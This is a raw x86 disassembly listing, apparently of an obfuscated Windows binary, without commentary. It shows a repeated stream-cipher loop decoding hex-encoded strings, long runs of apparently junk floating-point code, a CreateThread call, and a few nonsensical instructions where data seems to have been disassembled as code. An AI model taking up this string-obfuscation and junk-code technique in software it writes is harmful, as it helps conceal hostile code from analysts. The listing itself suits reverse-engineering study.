movzx edx, byte [ebp - 0x89f]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
movzx ecx, byte [ebp - 0x895]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x775]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
movzx edx, byte [ebp - 0x88d]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x939]
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x895]
mov byte [ebp - 0x9b5], al
cmp dword [ebp - 0x98c], 0
jle 0x517f9a
movsx ax, byte [ebp - 0x9b5]
mov ecx, dword [ebp - 0x98c]
mov word [ebp + ecx*2 - 0x766], ax
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x98c]
shl eax, 1
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x8f4]
movzx eax, byte [eax]
mov dword [ebp - 0x9c4], eax
fld qword [0x9a6e48]
fstp qword [ebp - 0x964]
fld qword [0x9a6e40]
fstp qword [ebp - 0x924]
fld qword [0x9a6e38]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x924]
fadd qword [ebp - 0x8ec]
fstp qword [ebp - 0x924]
fld qword [ebp - 0x924]
fsub qword [ebp - 0x8ec]
fstp qword [ebp - 0x924]
fld qword [ebp - 0x964]
fadd qword [ebp - 0x8ec]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x964]
fcomp qword [ebp - 0x8ec]
fnstsw ax
test ah, 5
jp 0x518137
fld qword [ebp - 0x8ec]
fsub qword [ebp - 0x964]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x964]
fmul qword [ebp - 0x924]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x8ec]
fsub qword [ebp - 0x964]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x924]
fsub qword [ebp - 0x8ec]
fstp qword [ebp - 0x924]
fld qword [ebp - 0x964]
fadd qword [ebp - 0x924]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x964]
fadd qword [ebp - 0x924]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x924]
fcomp qword [ebp - 0x8ec]
fnstsw ax
test ah, 0x41
jne 0x5180ff
fld qword [ebp - 0x8ec]
fmul qword [ebp - 0x964]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x964]
fdiv qword [ebp - 0x924]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x924]
fadd qword [ebp - 0x8ec]
fstp qword [ebp - 0x924]
jmp 0x518135
fld qword [ebp - 0x8ec]
fdiv qword [ebp - 0x924]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x8ec]
fdiv qword [ebp - 0x924]
fstp qword [ebp - 0x8ec]
fld qword [ebp - 0x924]
fdiv qword [ebp - 0x964]
fstp qword [ebp - 0x924]
jmp 0x518177
fld qword [ebp - 0x964]
fadd qword [ebp - 0x8ec]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x964]
fadd qword [ebp - 0x8ec]
fstp qword [ebp - 0x964]
fld qword [ebp - 0x8ec]
fsub qword [ebp - 0x924]
fstp qword [ebp - 0x8ec]
mov dword [ebp - 0x938], 0x6c
mov eax, dword [ebp - 0x98c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x970]
movzx eax, byte [eax]
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9c0], 0x60
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x938]
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f4]
sub eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x9f0]
shl eax, 4
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9ec]
or eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x980], eax
mov al, byte [ebp - 0x980]
mov byte [ebp - 0x939], al
movzx eax, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x9e5], al
movzx eax, byte [ebp - 0x89f]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x785]
add ecx, eax
mov byte [ebp - 0x785], cl
mov al, byte [ebp - 0x89f]
add al, 1
mov byte [ebp - 0x89f], al
movzx eax, byte [ebp - 0x785]
movzx ecx, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x895]
movzx ecx, byte [ebp - 0x785]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
movzx ecx, byte [ebp - 0x895]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
mov cl, byte [ebp - 0x9e5]
mov byte [ebp + eax - 0x88c], cl
movzx eax, byte [ebp - 0x9e5]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x88d]
add ecx, eax
mov byte [ebp - 0x88d], cl
fld qword [0x9a6e30]
fstp qword [ebp - 0x9a4]
fld qword [0x9a6e28]
fstp qword [ebp - 0x95c]
fld qword [0x9a6e20]
fstp qword [ebp - 0x97c]
fld qword [0x9a6e18]
fstp qword [ebp - 0x934]
fld qword [0x9a6e10]
fstp qword [ebp - 0x8fc]
fld qword [ebp - 0x95c]
fmul qword [ebp - 0x8fc]
fstp qword [ebp - 0x95c]
fld qword [ebp - 0x97c]
fmul qword [ebp - 0x8fc]
fstp qword [ebp - 0x97c]
fld qword [ebp - 0x934]
fmul qword [ebp - 0x8fc]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x934]
fsub qword [ebp - 0x8fc]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x9a4]
fsub qword [ebp - 0x8fc]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x8fc]
fcomp qword [ebp - 0x95c]
fnstsw ax
test ah, 0x41
jne 0x5184f8
fld qword [ebp - 0x95c]
fsub qword [ebp - 0x934]
fstp qword [ebp - 0x95c]
fld qword [ebp - 0x9a4]
fadd qword [ebp - 0x97c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x9a4]
fdiv qword [ebp - 0x97c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x97c]
fadd qword [ebp - 0x8fc]
fstp qword [ebp - 0x97c]
fld qword [ebp - 0x934]
fadd qword [ebp - 0x9a4]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x9a4]
fmul qword [ebp - 0x95c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x934]
fdiv qword [ebp - 0x8fc]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x9a4]
fdiv qword [ebp - 0x95c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x95c]
fsub qword [ebp - 0x97c]
fstp qword [ebp - 0x95c]
fld qword [ebp - 0x97c]
fmul qword [ebp - 0x934]
fstp qword [ebp - 0x97c]
fld qword [ebp - 0x8fc]
fcomp qword [ebp - 0x97c]
fnstsw ax
test ah, 5
jp 0x518499
fld qword [ebp - 0x8fc]
fdiv qword [ebp - 0x9a4]
fstp qword [ebp - 0x8fc]
fld qword [ebp - 0x9a4]
fsub qword [ebp - 0x95c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x9a4]
fdiv qword [ebp - 0x95c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x97c]
fadd qword [ebp - 0x934]
fstp qword [ebp - 0x97c]
fld qword [ebp - 0x95c]
fdiv qword [ebp - 0x97c]
fstp qword [ebp - 0x95c]
jmp 0x5184f3
fld qword [ebp - 0x9a4]
fsub qword [ebp - 0x97c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x934]
fadd qword [ebp - 0x9a4]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x9a4]
fdiv qword [ebp - 0x97c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x8fc]
fmul qword [ebp - 0x95c]
fstp qword [ebp - 0x8fc]
fld qword [ebp - 0x8fc]
fsub qword [ebp - 0x95c]
fstp qword [ebp - 0x8fc]
jmp 0x5185d8
fld qword [ebp - 0x934]
fmul qword [ebp - 0x9a4]
fstp qword [ebp - 0x934]
fld qword [ebp - 0x95c]
fsub qword [ebp - 0x934]
fstp qword [ebp - 0x95c]
fld qword [ebp - 0x9a4]
fsub qword [ebp - 0x97c]
fstp qword [ebp - 0x9a4]
fld qword [ebp - 0x8fc]
fadd qword [ebp - 0x95c]
fstp qword [ebp - 0x8fc]
fld qword [ebp - 0x934]
fsub qword [ebp - 0x9a4]
fstp qword [ebp - 0x934]
movzx eax, byte [ebp - 0x939]
movzx ecx, byte [ebp - 0x785]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x89f]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
movzx ecx, byte [ebp - 0x895]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x775]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
movzx edx, byte [ebp - 0x88d]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x939]
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x895]
mov byte [ebp - 0x9b5], al
cmp dword [ebp - 0x98c], 0
jle 0x51860f
movsx ax, byte [ebp - 0x9b5]
mov ecx, dword [ebp - 0x98c]
mov word [ebp + ecx*2 - 0x766], ax
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x98c]
shl eax, 1
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x8f4]
movzx eax, byte [eax]
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 0x938], 0x6c
mov eax, dword [ebp - 0x98c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x970]
movzx eax, byte [eax]
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9c0], 0x60
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x938]
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f4]
sub eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x9f0]
shl eax, 4
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9ec]
or eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x980], eax
mov al, byte [ebp - 0x980]
mov byte [ebp - 0x939], al
movzx eax, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp - 0x9e5], al
movzx eax, byte [ebp - 0x89f]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x785]
add ecx, eax
mov byte [ebp - 0x785], cl
mov al, byte [ebp - 0x89f]
add al, 1
mov byte [ebp - 0x89f], al
movzx eax, byte [ebp - 0x785]
movzx ecx, byte [ebp - 0x775]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x895]
movzx ecx, byte [ebp - 0x785]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
movzx ecx, byte [ebp - 0x895]
mov al, byte [ebp + eax - 0x88c]
mov byte [ebp + ecx - 0x88c], al
movzx eax, byte [ebp - 0x89f]
mov cl, byte [ebp - 0x9e5]
mov byte [ebp + eax - 0x88c], cl
movzx eax, byte [ebp - 0x9e5]
movzx eax, byte [ebp + eax - 0x88c]
movzx ecx, byte [ebp - 0x88d]
add ecx, eax
mov byte [ebp - 0x88d], cl
movzx eax, byte [ebp - 0x939]
movzx ecx, byte [ebp - 0x785]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x89f]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
movzx ecx, byte [ebp - 0x895]
movzx ecx, byte [ebp + ecx - 0x88c]
movzx edx, byte [ebp - 0x775]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
movzx edx, byte [ebp - 0x88d]
movzx edx, byte [ebp + edx - 0x88c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x88c]
movzx ecx, byte [ebp + ecx - 0x88c]
xor eax, ecx
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x939]
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x895]
mov byte [ebp - 0x9b5], al
cmp dword [ebp - 0x98c], 0
jle 0x518865
movsx ax, byte [ebp - 0x9b5]
mov ecx, dword [ebp - 0x98c]
mov word [ebp + ecx*2 - 0x766], ax
xor eax, eax
mov word [ebp - 0x75c], ax
jmp 0x5188a1
and dword [ebp - 0x9f8], 0
jmp 0x518886
mov eax, dword [ebp - 0x9f8]
inc eax
mov dword [ebp - 0x9f8], eax
cmp dword [ebp - 0x9f8], 5
jge 0x5188a1
xor eax, eax
mov ecx, dword [ebp - 0x9f8]
mov word [ebp + ecx*2 - 0x764], ax
jmp 0x518879
xor eax, eax
mov ecx, dword [ebp - 0x4c4]
mov word [ecx], ax
lea eax, [ebp - 0x764]
mov dword [ebp - 0x10bc], eax
mov eax, dword [ebp - 0x10bc]
mov dword [ebp - 0x10c0], eax
mov eax, dword [ebp - 0x10bc]
mov ax, word [eax]
mov word [ebp - 0x10c2], ax
add dword [ebp - 0x10bc], 2
cmp word [ebp - 0x10c2], 0
jne 0x5188c4
mov eax, dword [ebp - 0x10bc]
sub eax, dword [ebp - 0x10c0]
mov ecx, dword [ebp - 0x10c0]
mov dword [ebp - 0x10c8], ecx
mov dword [ebp - 0x10cc], eax
lea eax, [ebp - 0x724]
dec eax
dec eax
mov dword [ebp - 0x10d0], eax
mov eax, dword [ebp - 0x10d0]
mov ax, word [eax + 2]
mov word [ebp - 0x10d2], ax
add dword [ebp - 0x10d0], 2
cmp word [ebp - 0x10d2], 0
jne 0x518911
mov edi, dword [ebp - 0x10d0]
mov esi, dword [ebp - 0x10c8]
mov eax, dword [ebp - 0x10cc]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x724]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00939122
pop ecx
pop ecx
lea eax, [ebp - 0x724]
push eax
mov ecx, dword [ebp + 8]
call fcn.004a786b
lea eax, [ebp - 0x4bc]
push eax
push 0
push dword [ebp + 8]
push 0x50c26d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x4b8]
call fcn.008e8e4e
and dword [ebp - 4], 0
and dword [ebp - 0x4c0], 0
and dword [ebp - 0x750], 0
fldz
fstp qword [ebp - 0x4ec]
fldz
fstp qword [ebp - 0x51c]
fldz
fstp qword [ebp - 0x51c]
jmp 0x5189db
fld qword [ebp - 0x51c]
fadd qword [0x9a1b90]
fstp qword [ebp - 0x51c]
fld qword [0x9a50b0]
fcomp qword [ebp - 0x51c]
fnstsw ax
test ah, 0x41
jne 0x518a64
fld qword [0x9a50a8]
fmul qword [ebp - 0x51c]
fmul qword [ebp - 0x51c]
fld qword [ebp - 0x51c]
fmul qword [ebp - 0x51c]
fsubp st(1)
fld qword [0x9a50a0]
fmul qword [ebp - 0x51c]
fmul qword [ebp - 0x51c]
fadd qword [0x9a5098]
fdivp st(1)
fadd qword [ebp - 0x4ec]
fstp qword [ebp - 0x4ec]
fld qword [0x9a5090]
fcomp qword [ebp - 0x4ec]
fnstsw ax
test ah, 5
jp 0x518a5f
fld qword [0x9a5088]
fmul qword [ebp - 0x51c]
fsubr qword [ebp - 0x4ec]
fstp qword [ebp - 0x4ec]
jmp 0x5189c9
fldz
fcomp qword [ebp - 0x4ec]
fnstsw ax
test ah, 0x41
jne 0x518aa3
jp 0x518ae0
inc ebp
inc esi
cmp eax, 0x65726161
push ecx
push ebp
daa
and al, byte fs:[ebx + 0x3a]
xor byte [0x4dcc4eca], bh
into
push ecx
iretd
mov dword [ebp - 0x4c0], 0x518a86
mov dword [ebp - 0x750], 0x518a73
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0xa00], eax
mov byte [ebp - 0xb1d], 0x17
and dword [ebp - 0xb14], 0
jmp 0x518aec
mov eax, dword [ebp - 0xb14]
inc eax
mov dword [ebp - 0xb14], eax
test esp, ebp
hlt
cmp dword [ebp - 0xb14], 0x100
jae 0x518b0d
mov eax, dword [ebp - 0xb14]
mov cl, byte [ebp - 0xb14]
mov byte [ebp + eax - 0xb0c], cl
jmp 0x518adf
and dword [ebp - 0xa08], 0
mov byte [ebp - 0xb1e], 0
mov dword [ebp - 0xb14], 0xff
jmp 0x518b34
mov eax, dword [ebp - 0xb14]
dec eax
mov dword [ebp - 0xb14], eax
cmp dword [ebp - 0xb14], 0
jbe 0x518dae
and dword [ebp - 0xb24], 0
mov dword [ebp - 0xb2c], 1
mov eax, dword [ebp - 0xb2c]
cmp eax, dword [ebp - 0xb14]
jae 0x518b72
mov eax, dword [ebp - 0xb2c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb2c], eax
jmp 0x518b52
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0x10d8], eax
mov eax, dword [ebp - 0x10d8]
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0
je 0x518bb7
sub dword [ebp - 0x10dc], 1
je 0x518be3
sub dword [ebp - 0x10dc], 1
je 0x518c0f
sub dword [ebp - 0x10dc], 1
je 0x518c3b
jmp 0x518c67
movzx eax, byte [ebp - 0xb1e]
movzx ebx, byte [ebp + eax - 0xb0c]
fld qword [ebp - 0x4ec]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xb1e], bl
jmp 0x518c8e
movzx eax, byte [ebp - 0xb1e]
movzx ebx, byte [ebp + eax - 0xb0c]
fld qword [ebp - 0x4ec]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xb1e], bl
jmp 0x518c8e
movzx eax, byte [ebp - 0xb1e]
movzx ebx, byte [ebp + eax - 0xb0c]
fld qword [ebp - 0x4ec]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xb1e], bl
jmp 0x518c8e
movzx eax, byte [ebp - 0xb1e]
movzx ebx, byte [ebp + eax - 0xb0c]
fld qword [ebp - 0x4ec]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xb1e], bl
jmp 0x518c8e
movzx eax, byte [ebp - 0xb1e]
movzx eax, byte [ebp + eax - 0xb0c]
mov ecx, dword [ebp - 0xa00]
add ecx, dword [ebp - 0xa08]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0xb1e], al
mov eax, dword [ebp - 0xa08]
inc eax
mov dword [ebp - 0xa08], eax
movzx eax, byte [ebp - 0xb1d]
cmp dword [ebp - 0xa08], eax
jb 0x518cc7
and dword [ebp - 0xa08], 0
movzx eax, byte [ebp - 0xb1d]
movzx ecx, byte [ebp - 0xb1e]
add ecx, eax
mov byte [ebp - 0xb1e], cl
movzx eax, byte [ebp - 0xb1e]
and eax, dword [ebp - 0xb2c]
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb24]
inc eax
mov dword [ebp - 0xb24], eax
cmp dword [ebp - 0xb24], 0xb
jbe 0x518d04
mov eax, dword [ebp - 0xb28]
xor edx, edx
div dword [ebp - 0xb14]
mov dword [ebp - 0xb28], edx
mov eax, dword [ebp - 0xb28]
cmp eax, dword [ebp - 0xb14]
ja 0x518b72
mov eax, dword [ebp - 0xb14]
cmp eax, dword [ebp - 0xb28]
je 0x518da9
mov eax, dword [ebp - 0xb28]
movzx eax, byte [ebp + eax - 0xb0c]
mov ecx, dword [ebp - 0xb14]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor ecx, eax
mov eax, dword [ebp - 0xb14]
mov byte [ebp + eax - 0xb0c], cl
mov eax, dword [ebp - 0xb14]
movzx eax, byte [ebp + eax - 0xb0c]
mov ecx, dword [ebp - 0xb28]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor ecx, eax
mov eax, dword [ebp - 0xb28]
mov byte [ebp + eax - 0xb0c], cl
mov eax, dword [ebp - 0xb28]
movzx eax, byte [ebp + eax - 0xb0c]
mov ecx, dword [ebp - 0xb14]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor ecx, eax
mov eax, dword [ebp - 0xb14]
mov byte [ebp + eax - 0xb0c], cl
jmp 0x518b27
mov al, byte [ebp - 0xb0b]
mov byte [ebp - 0xb1f], al
mov al, byte [ebp - 0xb09]
mov byte [ebp - 0xa09], al
mov al, byte [ebp - 0xb07]
mov byte [ebp - 0xb0d], al
mov al, byte [ebp - 0xb05]
mov byte [ebp - 0xb15], al
movzx eax, byte [ebp - 0xb1e]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0x9f9], al
mov dword [ebp - 0xb1c], 0x18
cmp dword [ebp - 0xb1c], 2
jle 0x51a65d
mov eax, dword [ebp - 0xb1c]
and eax, 1
jne 0x51a65d
and dword [ebp - 0xb90], 0
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0xb8c]
inc eax
mov dword [ebp - 0xb8c], eax
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
add eax, dword [ebp - 0xbac]
mov dword [ebp - 0xbac], eax
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
add eax, 0xc9
mov dword [ebp - 0xb48], eax
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
add eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xbd4], eax
and dword [ebp - 0xba8], 0
mov eax, dword [ebp - 0xba8]
add eax, 0x4d
mov dword [ebp - 0xba8], eax
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
add eax, dword [ebp - 0xbd0]
mov dword [ebp - 0xbd0], eax
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
add eax, dword [ebp - 0xb34]
mov dword [ebp - 0xb34], eax
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
and dword [ebp - 0xb88], 0
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov byte [ebp - 0xb5d], 0
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
mov byte [ebp - 0xbc5], 0
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
movzx ecx, byte [ebp - 0xb15]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0x9f9]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
movzx edx, byte [ebp - 0xb0d]
movzx edx, byte [ebp + edx - 0xb0c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx ecx, byte [ebp + ecx - 0xb0c]
xor eax, ecx
mov byte [ebp - 0xb15], al
mov al, byte [ebp - 0xb5d]
mov byte [ebp - 0x9f9], al
mov al, byte [ebp - 0xb15]
mov byte [ebp - 0xb9d], al
cmp dword [ebp - 0xb90], 0
jle 0x5190ee
movsx ax, byte [ebp - 0xb9d]
mov ecx, dword [ebp - 0xb90]
mov word [ebp + ecx*2 - 0x506], ax
mov eax, dword [ebp - 0xb8c]
add eax, 3
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xbd8], eax
jmp 0x519119
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0xbd8]
cmp eax, dword [ebp - 0xb8c]
jge 0x519379
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb90]
shl eax, 1
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb30]
movzx eax, byte [eax]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xb48], 0xc9
mov eax, dword [ebp - 0xb90]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xb70], eax
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0xb70]
movzx eax, byte [eax]
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xba8], 0x4d
mov eax, dword [ebp - 0xbac]
sub eax, dword [ebp - 0xb48]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd4]
sub eax, dword [ebp - 0xba8]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xbd0]
shl eax, 4
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbcc]
or eax, dword [ebp - 0xba4]
mov dword [ebp - 0xb88], eax
mov al, byte [ebp - 0xb88]
mov byte [ebp - 0xb5d], al
movzx eax, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp - 0xbc5], al
movzx eax, byte [ebp - 0xb1f]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xa09]
add ecx, eax
mov byte [ebp - 0xa09], cl
mov al, byte [ebp - 0xb1f]
add al, 1
mov byte [ebp - 0xb1f], al
movzx eax, byte [ebp - 0xa09]
movzx ecx, byte [ebp - 0x9f9]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb15]
movzx ecx, byte [ebp - 0xa09]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
movzx ecx, byte [ebp - 0xb15]
mov al, byte [ebp + eax - 0xb0c]
mov byte [ebp + ecx - 0xb0c], al
movzx eax, byte [ebp - 0xb1f]
mov cl, byte [ebp - 0xbc5]
mov byte [ebp + eax - 0xb0c], cl
movzx eax, byte [ebp - 0xbc5]
movzx eax, byte [ebp + eax - 0xb0c]
movzx ecx, byte [ebp - 0xb0d]
add ecx, eax
mov byte [ebp - 0xb0d], cl
movzx eax, byte [ebp - 0xb5d]
movzx ecx, byte [ebp - 0xa09]
movzx ecx, byte [ebp + ecx - 0xb0c]
movzx edx, byte [ebp - 0xb1f]
